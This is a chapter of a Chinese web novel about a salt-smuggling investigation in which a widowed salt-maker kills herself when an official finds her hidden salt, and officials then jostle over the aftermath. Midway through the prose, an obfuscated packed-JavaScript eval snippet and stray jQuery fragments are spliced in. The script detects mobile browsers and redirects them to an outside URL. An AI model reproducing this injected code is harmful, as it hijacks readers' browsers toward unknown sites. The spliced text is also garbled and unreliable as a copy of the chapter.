15. 第 15 章

作品:《星弈

    孙绍祖带着两个侍卫进入了村子。他停在村口第一户人家门前抬手敲了几下,里面没人回应。他眉心微皱,加重力道连敲了三下。


    屋内传来重物落地的闷声,片刻后门开了。赵二娘抱着一个三岁左右的女孩儿出来,脸上的惊慌还未散去。当她看到孙绍祖的官服后,脸色唰的一下就变白往后退了好几步。


    “官……官爷!”赵二娘紧紧抱着女儿,小女孩环着她的脖子缩在她怀里,怯生生的眼睛里染上了一层薄薄的水雾。


    “别怕,我们就是来看看!”孙绍祖往屋里走,两个侍卫很识趣的守在门口。赵二娘见他直接进门伸手想拦却没拦住。


    “官爷,我们家什么值钱的东西都没有了,求您高抬贵手,放过我们吧!”赵二娘边说边掉下眼泪,她怀里的女儿也跟着小声哭泣着。


    赵二娘心里很不是滋味,又酸又痛的。但她还是抱着女儿轻轻擦掉她的眼泪,哄着她。“月儿乖,不哭了!”


    孙绍祖看着孩子哭,犹豫了一瞬没有在往前走,只是随意的打量着四周:屋子里空荡荡的,只有一张小破红木桌,一个锅,两袋干辣椒和土豆,还有一小袋掺了稻糠的米堆砌在角落里。说是一贫如洗也不为过。“家里就你一个人?”


    “嗯,男人去年得了病,一直咳嗽,花光所有的积蓄也没救下他……”赵二娘哭的伤心,她抱着女儿背对着孙绍祖,肩膀微微颤抖着。


    孙绍祖平静的看着她,眼底闪过一丝悲悯。他里外扫视了一圈后,最终把目光放在了那袋米上。他走过去一看,果然发现了里面藏着的一小袋盐——是私盐。伸手一掂,却不到五斤。


    赵二娘眼见私盐被发现,不敢看孙绍祖,抱着女儿的手抖得厉害,眼泪大颗大颗落下,小女孩被吓的发声大哭。


    “谁让你藏私盐的?”


    赵二娘抱着女儿跪在他面前,“官爷,这都是我自己藏的。我只是想混口饭吃啊,孩子还小,我男人又没了……”她哭的声音沙哑,涕泗横流,一手揪着他的衣摆,一手抱着孩子。“官爷,求求你,别收缴了我的盐……”


    孙绍祖抽出衣摆,把人扶起来转头看向门口的侍卫。“去请郑大人!”他话音刚落,门口的一个侍卫立刻离去。赵二娘听到还要找人来,她吓得跌坐在地。可下一秒,她竟抱着女儿爬起来直直的撞在墙上,鲜血瞬间染红了墙壁,温热的血迹低落在小女孩的脸上。


    一切就发生在瞬间,孙绍祖根本来不及反应,等他迈出脚步去阻拦时,赵二娘已经撞墙而亡了。


    “阿娘……呜呜呜,阿娘……,你怎么了……”小女孩儿的声音里充满了恐惧和伤心,她在赵二娘倒地的时候就被护在怀里,没有受伤。她哭着喊着摇晃赵二娘的胳膊。“阿娘,你怎么了,阿娘……”


    赵二娘哑着嗓子喊了一句“月儿,不哭,娘只是困了……”,她伸手想去擦女儿的眼泪,手指在触碰到女儿脸蛋的那一刻直直垂下,没了动静。


    孙绍祖一时之间愣住,他看着眼前的一幕有些复杂。“孙大人,这……”另一个侍卫有些为难的看向他。


    他上前想把孩子抱起来,却被小女孩稚嫩且染着血迹的双手推开。“你是坏人!”


    孙绍祖伸出去的手僵硬在原地,这时,郑淮安带着岳枫和几个侍卫赶了过来。


    “赵二家的!”岳枫瞳孔一缩,他快步走过去把小女孩儿搂在怀里,不让她继续看见这血腥的一幕。


    “这是怎么回事?”郑淮安扫了一眼孙绍祖,脸色有些难看。


    “下官来探查私盐,灶户受了刺激一时想不开,撞墙了!”孙绍祖微微垂下眼眸,语气低沉。郑淮安看了一眼那数量不多的私盐,显然他对此事的发展很不满。


    “孙大人,不知道我岳家的灶户究竟是哪里得罪你了,你要这样欺凌她们!”岳枫抱着孩子,捂着她的耳朵站起来,眼神冰冷,额头的青筋若隐若现。“郑大人,下官敬您是王上派来的钦差,对您也是礼敬有加,处处配合。但今日孙大人私查灶户,逼死一个守寡的妇人,这事,您若是不给个交代,我岳家人定不会善罢甘休!”


    “你少往我们这儿泼脏水,明明就是她藏私盐被发现畏罪自杀,跟孙大人有什么关系?”不等郑淮安说话,吴言竟第一个跳出来。


    “呵!”岳枫重重的哼了一声,他伸手指着那一袋盐。“这么小点儿盐能有多少?对你来说,这是私盐,可这些盐对她一个孤寡妇人来说,就是她活下去的存粮。你们把人家的盐查了,现在还要抹黑她。你们真当我岳家是好欺负的吗?”


    岳枫这话一出口,在场之人脸色都微微一变。吴言竟也嗫嚅着,最后只能小声嘀咕了一句:那还不是她藏私盐在先!


    “这么热闹,看来,是我来的不巧了!”


    一道女声从门口传来,众人回头望去,只见林晚香款款走来。她所到之处,侍卫互相对视了一眼后都各自排成两列,给她清出一条康庄大道。


    林晚香站定,视线在在场之人身上转了一圈。然后,她看见了地上那滩血,目光停了一瞬,很短,短到没人注意。“蘅儿!”她声音很平,“把披风解了,给赵二家的盖上!”


    “是,夫人!”玉蘅解下自己的白色披风轻轻合上赵二娘的的双眼,把披风盖在她身上。


    “夫人!”岳枫见林晚香来了,像是找到了主心骨,心里的不安散了不少,腰杆也挺直了几分。


    “林夫人!”郑淮安笑着行了一个平礼。


    吴言竟和林晚香对视了一眼后率先移开视线。其他人或多或少都避开她的目光。林晚香嘴角扬起一抹没有温度的笑。“郑大人,不解释一下吗?”


    郑淮安笑着迎上她的目光,“林夫人,孙大人确是奉了下官的旨意才来查探私盐。只是没想到下官一时疏忽竟酿成了此等悲剧,是下官御下不严。待下官回去,定会亲自向王上告罪,还请林夫人息怒。”郑淮安看了一眼地上的尸体,眉头皱了一下,很快松开。


    林晚香没有回应郑淮安的话,她定定的看了他几眼后,又把目光放在孙绍祖身上。“那敢问孙大人,今日可查出什么了?”


    孙绍祖沉默了很久。久到吴言竟想替他答时却被他一个眼神压住。他抬起头,与林晚香对视。那目光里没有心虚,也没有退让,只是……很平,平的就像一潭死水。“林夫人,下官只查到灶户的日常用盐。不曾查到私盐。”


    “孙绍祖,你疯了吗?她那明明就是……”吴言竟当场炸,他厉声反驳结果就是话还没说完就被郑淮安打断。


    “够了!”


    “郑大人,怎么连你也……”吴言竟气的脸都通红,他满心愤怒,却不得不在郑淮安的注视下败下阵来。他一拳砸在墙壁上,震得尘土簌簌往下落。


    林晚香拿起帕子,优雅的掩住口鼻。“既然如此,那此事就到此为止。吴大人,我想,你也不会再有意见了吧?”


    “我当然……没!意!见!”吴言竟说这话时,几乎是咬牙切齿的。可林晚香看着他的反应,只觉得可笑。“郑大人,我还要留下来善后,就不留你了,您慢走!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377346|199854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郑淮安行了一礼,“那就不打扰林夫人,下官告辞!”他说完就带着一干人等离开了这里。


    岳枫把人送出去,看着他们的背影彻底消失在村口才重新回到屋内,走到方才放那一袋私盐的地方。他把那袋私盐挪到另一边,打开那一块微微翘起的地窖门,沿着楼梯缓缓下去。里面的盐堆得整整齐齐,没有被翻动的痕迹,还好没被发现。


    他松了一口气,大概一刻钟之后就出来了。“夫人,两百石,一分都不少。”


    林晚香点点头,“其他灶户那边都要提前做好准备,庄家这次吃了闷亏,必定不会善罢甘休。”


    “夫人,那这批盐……?”


    “找几个签了死契的下人,连夜把这些盐运出去,免得夜长梦多!”


    林晚香说完,视线落在玉蘅怀里的小女孩身上,她爱怜的摸了摸小女孩的头儿。“把这孩子送回赵二的老家,给她父母一笔钱,添置一间宅院。再让几个利索忠心的婆子丫鬟送赵二的尸身回去。她们也不必回来了,就留在那儿照顾老人跟孩子,月钱还是按时发放。”


    “夫人放心,小人会妥善安排好后事的。”岳枫看了一眼赵二娘的尸体,脸上闪过一丝极淡的同情和敬佩。


    “嗯,去安排!”林晚香说完就带着人离开了。


    丞相府


    孙绍祖和吴言竟正在庄聿安的书房里,他们一个沉默不语,一个从进来就连喝了两杯茶依然怒气横生。


    吴言竟把杯子重重放在桌面,“我就不明白了,那个女人反应那么大,她屋子里一定还有其他的私盐,只要我们一搜查,必能人赃俱获。孙大人,那么好的机会,就被你白白浪费了!”


    孙绍祖没有接话,只是摩挲着自己的袖口。那上面沾了一点血——他想去抱孩子的时候蹭到的。但他自己不知道。


    “好了,再吵也无用!”庄聿安敲击桌面的手指停了下来。


    “可是相爷……”吴言竟还想说些什么,却在触及到庄聿安眼底的不耐后悻悻闭了嘴。


    “言竟,你先回去。今日的事,我还要再考量一番。”吴言竟张嘴想说些什么又没说出口,“下官告退!”


    屋内只剩下了庄聿安跟孙绍祖两个人,庄聿安神情淡漠的坐着,脸上也不怒不悲,孙绍祖完全猜不透他此刻的想法。“这次的事一切都那么顺利的推行,却还是没能办好……”庄聿安摇了摇头,没把后面的话说完。


    “相爷,就是因为太顺了,下官……才一时轻敌了。”


    “本来想拨云见日,却引来倾盆暴雨。在郑大人的配合之下查私盐结果闹出来人命,这事儿,岳家那边,还有王上那儿,都不好交代啊!”


    孙绍祖垂眸,起身请罪。“相爷,都是下官一时疏忽没拦住那女子才坏了您的大计,还请相爷责罚!”


    “眼下,这些都不是要紧的!”庄聿安摊开一张素纸,提笔写下“定”字。“郑大人,可有查出些什么?”


    “这个下官倒是不知,只是听郑大人说岳家盐田的账簿还有盐务表面上是没什么问题。”


    庄聿安提起笔,没有继续写,而是定定的停在半空。“想必他是察觉到了什么!”


    “郑大人虽然保下了下官,林夫人也没有再逼问计较下官追查私盐一事闹出的事端,只是……”孙绍祖有些担忧,“相爷,这郑大人毕竟直接对王上回禀,下官担心王上会因此事暂缓改革的议程。”


    庄聿安没接话,放下了笔看着窗外,很久,才说:“是啊。重要的是,王上会怎么想……”